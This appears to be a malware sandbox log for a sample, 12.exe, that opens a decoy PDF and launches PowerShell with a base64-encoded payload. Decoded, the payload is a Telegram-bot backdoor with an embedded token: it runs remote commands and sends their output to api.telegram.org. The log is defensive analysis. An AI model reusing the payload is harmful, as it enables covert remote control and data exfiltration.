AJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABV
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1724,i,10193653544518332854,3055548416538146672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABV	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1724,i,10193653544518332854,3055548416538146672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
